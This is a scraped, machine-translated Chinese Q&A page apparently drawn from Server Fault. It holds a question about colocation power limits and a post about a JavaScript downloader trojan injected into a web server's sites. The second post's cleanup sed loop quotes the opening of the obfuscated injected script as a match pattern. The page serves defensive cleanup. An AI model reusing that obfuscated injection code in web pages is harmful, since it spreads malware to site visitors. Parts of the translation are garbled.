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服务器问题集锦,包括 Linux(Ubuntu, Centos,Debian等)和Windows Server服务器

服务器/电源AMP使用情况

我一直在寻找一些服务器的协同定位,我曾经与协同处理过的服务器,但这是我第一次实际上已经架起了。 所有的共同提供者指定服务器可以使用的AMP的限制(IE 2 AMPS,8 AMPS等),但是我很难弄清楚这意味着什么。 所以我有几个与此有关的问题。 'X AMPs'的评级,这是什么时间尺度? (IE X AMPs每小时/日/月/年等) 我如何计算出我的服务器将使用多less个AMP? 我知道瓦特和伏特计算安培,所以我只是为了最大限度地支持我的电源? 例; 假设我有一个带有4x12V输出轨的1000W电源*。 首先是4路输出的总输出电压12V分压,还是4路输出的48V组合? 使用我的稍微不准确的大脑计算器(并提供我记得正确的论坛),如果它是12V的所有4个输出(总共12V),将是~85安培(所以一个单一的电源将远远超过可用到大多数提供商的整个机架)。如果在4个输出端的48V电压合成,仍然是20安培。 我错过了什么或只是愚蠢? 我在网上find的很多东西都模糊不清。 我也猜测我们的实际使用将取决于许多事情,包括其他硬件的效率和服务器的使用情况,但是我想计算我们可能遇到的最大使用量。 *我还没有完全弄清楚我们的服务器需要什么电源/组件,我只是从一个随机的电源在线获取规格。 如果有一些数据,我错过了我的例子在这里的电源供应

Web服务器木马

可能重复: 我的服务器被黑了应急 在我们的networking服务器中,大部分网站都感染了这个JS下载器木马程序。 它注入了下面的代码。 我试图用“linux恶意软件检测器”和ClamAV来清理服务器,但是两者都没有清理干净。 任何build议如何清理这个? 我需要运行一个脚本来清理它吗? 我写了这个脚本。 但它不能清洁。 while read -r file do sed -i '/<script>var s,g=2,aa=document.createTextNode("harCode");if(~0===Math.cos(Math.PI)){s=String["fr"+"omC"+aa.nodeValue];} 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